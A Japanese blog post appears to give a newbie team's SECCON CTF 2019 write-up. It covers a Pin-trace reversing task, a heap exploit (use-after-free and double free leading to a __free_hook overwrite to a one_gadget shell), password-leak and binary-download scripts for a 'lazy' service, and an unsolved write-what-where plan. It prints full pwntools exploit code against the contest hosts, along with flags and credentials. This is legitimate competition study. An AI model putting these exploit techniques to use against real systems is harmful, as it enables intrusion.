イントロ Link to this heading

いつぞや行われたSECCON CTF 2019に newbie 2人チームsmallkirby(@python_kirby / @mivjdu )で一応参加した。

結果はボロボロだったが教訓として

  • 変に意気込んじゃだめ。普通に寝たほうがいい
  • まずは問題を全体的に簡単に見ていったほうがいい
  • 機械音痴のアナログ人間のため手動で頑張ろうとするが、自動化できるところは全部自動化するべき。特に rev の calc で何故か最初手動で頑張ってしまった
  • 相談できる人がいたほうがいい。メチャメチャ簡単な問題でも自分の中での勝手な思い込みで詰まってしまうことがあるから、そんなときワイワイできる相手がいるといい。今回は寝たら解決したが
  • not stripped な問題が多くてこの業界に良い人もいるんだと思った
  • 精進が圧倒的に足りない

ということを再認識した。

いまめちゃくちゃ眠いため簡単な覚書だけ書き連ねておいて後で清書する。

Welcome / Thank you for playing Link to this heading

無料でフラグをくれる運営に感謝の気持を忘れないようにここで3時間位祈祷するのが CTFer の嗜み。 “どんな newbie チームでも 0 点では帰らせない"という慈悲の心。 自分も newbie ながら先例に倣い、5時間半感謝の祈祷をした。

calc Link to this heading

逆ポーランド記法で整数計算を行うプログラムcalcと、 それをある入力式で実行した際のIntelPinでのトレース結果が渡されて、入力式を復元する問題。

以前 Malware 解析をしようとしたときに Pin は使ったことがあったから環境準備は割とスムーズにいった。 Ghidra のベースアドレスをトレースの情報をもとにセットして、 各 branch が何を表すのかをデコンパイルコードと見比べてメモをする。

memo.sh
 10x55f6b4d44db4: 2		"M"チェック!!
 20x55f6b4d446a5: 1		(終了処理 いらない)
 30x55f6b4d44c13: 18		(push_stackしたあとl40_ptrをインクリメントするとこへ飛ぶ)
 40x55f6b4d44f64: 1		(開始処理 いらない)
 50x55f6b4d44d54: 1		(*フラグ立てた後)
 60x55f6b4d445de: 1		(開始処理 いらない)
 70x55f6b4d44ca6: 2		(+フラグ立てた後)
 80x55f6b4d44cfd: 5		(-フラグ立てた後)
 90x55f6b4d44a0b: 3		sum()でwhileに入る!!
100x55f6b4d44727: 1		(終了処理 いらない)
110x55f6b4d44be9: 90		","かどうかで分岐!!!!!
120x55f6b4d44e02: 2		"M"のあと
130x55f6b4d44765: 1		(開始処理 いらない)
140x55f6b4d4493e: 35		push_stackの最初のfullチェック!!!
150x55f6b4d44d06: 10		"*"分岐!!!!
160x55f6b4d44c22: 64		"9"より大きいかチェック!!!
170x55f6b4d44caf: 15		"-"分岐!!!
180x55f6b4d446f6: 1		(開始処理)
190x55f6b4d44e87: 91		NULLチェック!!!
200x55f6b4d44a1f: 20		sum()の中でのwhile endチェック!!!
210x55f6b4d44eae: 1		(mainの引数チェック)
220x55f6b4d44c1c: 72		"1"より大きいかチェック!!
230x55f6b4d44dab: 7		"m"のあと
240x55f6b4d44a5b: 1		kakeru()のwhileチェック
250x55f6b4d44d5d: 9		"m"分岐!!!
260x55f6b4d44735: 1		(終了処理)
270x55f6b4d44650: 1		(終了処理)
280x55f6b4d44bd6: 1		(main最初の処理)
290x55f6b4d44c4f: 55		数字だったからなんの処理も行わなかったジャンプ
300x55f6b4d44bef: 18		l2c_numflagチェック
310x55f6b4d44c58: 17		"+"分岐
320x55f6b4d44a81: 2		kakeru()のwhile終了ループ
330x55f6b4d44f44: 1		(開始処理)
340x55f6b4d448dc: 35		pop_stack()の最初のチェック!!

そのメモをもとにトレース結果を読み込んで入力値を出力してくれるスクリプトを(@mivjduが)書いた:

.py
 1import sys
 2import json
 3
 4with open(sys.argv[1]) as f:
 5    trace = json.load(f)
 6
 7stack = []
 8num_flag = False
 9
10for t in trace:
11    if t["event"] != "branch":
12        continue
13
14    inst_addr = t["inst_addr"]
15    branch_taken = t["branch_taken"]
16
17    if inst_addr == "0x55f6b4d44d06": #*
18        if not branch_taken:
19            stack.append("*")
20
21    if inst_addr == "0x55f6b4d44be9": #,
22        if not branch_taken:
23            stack.append(",")
24
25    if inst_addr == "0x55f6b4d44caf": #-
26        if not branch_taken:
27            stack.append("-")
28
29    if inst_addr == "0x55f6b4d44c58": #+
30        if not branch_taken:
31            stack.append("+")
32
33    if inst_addr == "0x55f6b4d44d5d": #m
34        if not branch_taken:
35            stack.append("m")
36
37    if inst_addr == "0x55f6b4d44db4": #M
38        if not branch_taken:
39            stack.append("M")
40
41    if inst_addr == "0x55f6b4d44c1c": # x<1
42        if not branch_taken:
43            num_flag = True
44
45    if inst_addr == "0x55f6b4d44c22": # x>9
46        if num_flag == False:
47          print("ERROR!")
48        if not branch_taken:
49            stack.append("1")
50            num_flag = False
51        else:
52            num_flag = False
53
54
55print("result:")
56print("".join(stack))

できあがった出力を再び Pin に入れてトレース情報の diff をとり、 細かい部分を修正した。

しかし和をとるときの while ループの回数制御のために数値を調整する工程を何故か自動化せずに全部手動でやってしまったため異様な時間が経過してしまった。

入力式は:

.sh
1999,100,511,111,111,1111,111,mm-mM-111,111,111,mm-119,911,130,913,300,-+-M+001,001,001,mm*

それを提出して得られるフラグは:

flag.txt
1SECCON{Is it easy for you to recovery input from execution trace? Keep hacking:)}

One Link to this heading

メモを追加・表示・削除できるプログラムと libc が渡される。 但し一度に保持できる heap アドレスは一つのみ。 UAF/double free し放題。

libcbase さえ求まればなんとでもなる。 小さい chunk を 10 個+α 繋げて一つの大きな fake chunk を作り、 それを free することで unsortedbin を作って heap 上にmain_arena+96のアドレスを出現させる。 あとはそれを leak して__free_hook overwrite で終わり。

calc の手仕事で疲弊していた上に深夜帯ということもありこんな簡単な問題に時間をかけてしまった。。。

exploit.c
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4from pwn import *
  5import sys
  6
  7FILENAME = "./one"
  8
  9rhp1 = {"host":"one.chal.seccon.jp","port":18357}
 10rhp2 = {'host':"localhost",'port':12300}
 11context(os='linux',arch='amd64')
 12binf = ELF(FILENAME)
 13libc = ELF("./libc-2.27.so")
 14
 15diff_arena_printf = 0x386dc0
 16onegadgets = [0x4f2c5,0x4f322,0x10a38c]
 17
 18def add(conn,content):
 19  if(len(content)>=0x40):
 20    print("[!]too large content")
 21    return
 22  conn.recvuntil("> ")
 23  conn.sendline("1")
 24  conn.recvuntil("> ")
 25  conn.sendline(content)
 26
 27def delete(conn):
 28  conn.recvuntil("> ")
 29  conn.sendline("3")
 30
 31def show(conn):
 32  conn.recvuntil("> ")
 33  conn.sendline("2")
 34
 35def exploit(conn):
 36
 37  #
 38  small_chunks = 0x10
 39  size = 0x40+ 0x50*small_chunks- 0x10 #最後の0x10byteは次のchunkのヘッダをごまかすため
 40
 41  add(conn,p64(0)+p64((size+0x10)|0x1) + p64(0)*2) #large fake chunk size
 42  for i in range(small_chunks):
 43    add(conn,"A"*0x30 + p64(size|0x1) + p64(0x61)[:-2])
 44
 45  add(conn,"B"*0x30)
 46  delete(conn)
 47  delete(conn)
 48  delete(conn)
 49
 50  #leak heap addr
 51  show(conn)
 52  data = unpack(conn.recvline()[:-1].ljust(8,"\x00")[0:8])
 53  large_chunk_usr = data - 0x50*(small_chunks+1) + 0x10
 54  print("[+]data: "+hex(data))
 55  print("[+]large chunk usr: "+hex(large_chunk_usr))
 56
 57  #make point to large chunk
 58  add(conn,p64(large_chunk_usr)+p64(0)*2)
 59  add(conn,p64(0)*2)
 60  add(conn,p64(0)*2) #large fake chunk
 61
 62  #create unsortedbin
 63  delete(conn)
 64
 65  #leak libc_base
 66  show(conn)
 67  mainarena = unpack(conn.recvline()[:-1].ljust(8,"\x00")[0:8]) - 96
 68  print("[!]main_arena: "+hex(mainarena))
 69  libc_base = mainarena-diff_arena_printf-libc.functions["printf"].address
 70  print("[!]libc_base: "+hex(libc_base))
 71
 72  #overwrite __malloc_hook
 73  add(conn,"D"*0x20)
 74  delete(conn)
 75  delete(conn)
 76  delete(conn)
 77  #show(conn)
 78  #data = unpack(conn.recvline()[:-1].ljust(8,"\x00")[0:8])
 79  #print("[+]data: "+hex(data))
 80  add(conn,p64(libc_base + libc.symbols["__free_hook"])+p64(0))
 81  add(conn,p64(0)*2)
 82  add(conn,p64(libc_base + onegadgets[1]))
 83
 84  #get the shell
 85  conn.recvuntil("> ")
 86  conn.sendline("3")
 87
 88  return
 89
 90
 91if len(sys.argv)>1:
 92  if sys.argv[1][0]=="d":
 93    cmd = """
 94      set follow-fork-mode parent
 95    """
 96    conn = gdb.debug(FILENAME,cmd)
 97  elif sys.argv[1][0]=="r":
 98    conn = remote(rhp1["host"],rhp1["port"])
 99else:
100    conn = remote(rhp2['host'],rhp2['port'])
101exploit(conn)
102conn.interactive()

lazy Link to this heading

最初はブロガーの URL だけ渡されている。 まずログインするために username/PW が必要だが username は日記の中に書いてある。 PW は以下のスクリプトで leak する:

leak.py
 1#!/usr/bin/env python
 2#encoding: utf-8;
 3
 4from pwn import *
 5import sys
 6
 7FILENAME = "./lazy"
 8
 9rhp1 = {"host":"lazy.chal.seccon.jp","port":33333}
10rhp2 = {'host':"localhost",'port':12300}
11context(os='linux',arch='amd64')
12#binf = ELF(FILENAME)
13
14def login(conn,user,pw):
15  conn.recvuntil("3: Exit\n")
16  conn.sendline("2")
17  conn.recvuntil("username : ")
18  conn.sendline(user) #need newline
19  #conn.recvuntil("password : ")
20  #conn.sendline(pw)
21
22username = "_H4CK3R_"
23pw = "3XPL01717"
24counter = 0
25
26def exploit(conn):
27  global counter
28  if counter>=100:
29    return
30  login(conn,""+"A"*counter,"pw")
31  conn.recvuntil("\n")
32  print(conn.recvline())
33  counter += 1
34  conn = remote(rhp1["host"],rhp1["port"])
35  exploit(conn)
36
37
38if len(sys.argv)>1:
39  if sys.argv[1][0]=="d":
40    cmd = """
41      set follow-fork-mode parent
42    """
43    conn = gdb.debug(FILENAME,cmd)
44  elif sys.argv[1][0]=="r":
45    conn = remote(rhp1["host"],rhp1["port"])
46else:
47    conn = remote(rhp2['host'],rhp2['port'])
48exploit(conn)
49conn.interactive()

username は_H4CK3R_・PW は3XPL01717

そうするとプライベートディレクトリを見れるようになり libc.so とプログラム本体が入ってることを確認。 ただしこのディレクトリ内で"."は使えない。 以下のプログラムでバイナリをゲット:

getbin.py
 1#!/usr/bin/env python
 2#encoding: utf-8;
 3
 4from pwn import *
 5import sys
 6import struct
 7
 8FILENAME = "./lazy"
 9
10rhp1 = {"host":"lazy.chal.seccon.jp","port":33333}
11rhp2 = {'host':"localhost",'port':12300}
12context(os='linux',arch='amd64')
13#binf = ELF(FILENAME)
14
15def login(conn,user,pw):
16  conn.recvuntil("3: Exit\n")
17  conn.sendline("2")
18  conn.recvuntil("username : ")
19  conn.sendline(user) #need newline
20  conn.recvuntil("password : ")
21  conn.sendline(pw)
22
23username = "_H4CK3R_"
24pw = "3XPL01717"
25counter = 0
26
27def exploit(conn):
28  login(conn,username,pw)
29
30  conn.recvuntil("4: Manage\n")
31  conn.sendline("4")
32  conn.recvuntil("Input file name\n")
33  conn.sendline("lazy")
34  conn.recvuntil("bytes")
35  binary = conn.recvrepeat()
36
37  out = open("./lazy","w")
38  out.write(binary)
39  out.close()
40
41  #login(conn,username,"A"*50)
42  #login(conn,"A"*(100-5-0x10),"pw")
43  #conn.recvuntil("A\n")
44  #data = unpack(conn.recvline()[:-1].ljust(8,"\x00"))
45  #print("[+]"+hex(data))
46
47
48if len(sys.argv)>1:
49  if sys.argv[1][0]=="d":
50    cmd = """
51      set follow-fork-mode parent
52    """
53    conn = gdb.debug(FILENAME,cmd)
54  elif sys.argv[1][0]=="r":
55    conn = remote(rhp1["host"],rhp1["port"])
56else:
57    conn = remote(rhp2['host'],rhp2['port'])
58exploit(conn)
59conn.interactive()

あとはバイナリを解析する。

sum Link to this heading

5 つの数字を入力して和を出力する。 けど 6 つ入力できる。 6 つ目を書き換えたいアドレスにすると write-what-where。

けどこの問題は和をメモリに書き込む際に一度 0 クリアしてから書き込むため、libcbase の leak ができなくて解けなかった。 考えたのは:

  • まず 6 つ入力するとexitされるからexitmainのアドレスに書き換え
  • 次にprintfの libc addr を使いたいから GOT を更新するために puts の GOT をprintfplt+6に書き換え
  • このままだとputする度にprintfの GOT が更新されるから、printfの GOT が更新されたらputsの GOT をscanfの GOT に書き換え
  • printfと onagadget RCE のアドレス差をもとにしてprintfの GOT の下数 nibble だけ書き換えて onegadget を呼び出す

だがprintf/onegadget の diff が 5nibble 分あり、libcbase の下 3nibble はゼロだから 0xffff 通りと brute-fource していいギリギリっぽかったためびびってしなかった。 diff が 4nibble なら0xff回でいけたから迷わなかっただろうが。

多分もっといい解き方あるだろうし。

solve 数的にそんな難しくない気がするんだけどなぁ。。。。


(追記: 2019.10.20)

ROP をするらしい(libc じゃなくて sum 本体の使うのか?) これも含めた他の pwn の問題の writeup も後日また解き直してアップする。


アウトロ Link to this heading

全然解けなかった。。。。 普通にド凹み中です。 精進します。